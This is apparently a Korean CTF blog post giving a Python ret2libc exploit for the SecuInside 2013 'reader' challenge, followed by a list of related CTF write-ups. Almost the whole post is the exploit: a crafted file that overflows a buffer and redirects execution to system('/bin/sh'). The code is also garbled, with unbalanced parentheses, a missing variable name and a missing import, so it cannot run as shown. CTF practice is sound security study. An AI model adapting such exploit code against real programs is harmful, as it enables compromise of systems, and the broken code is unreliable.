import os
 
p32 = lambda x: struct.pack("<L", x)
 
system = 0x4007c190
binsh = 0x4019ca24
 
data = "\xffSECUINSIDE\x00" + "A\x00"+"A"*0x62 + "\xff\xff\xff\xff"
data += p32(8+ p32(8+ p32(0x32+ p32(0+ "."
data += "A"*20+"BBBB"+"CCCC"+"DDDD"+"EEEE"+p32(system)+"GGGG"+p32(binsh)+"IIII"+"JJJJ"
 
= open("reader.sec""w")
f.write(data)
f.close()
 
os.system('./reader reader.sec')
cs


'CTF > 지난 대회' 카테고리의 다른 글

Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요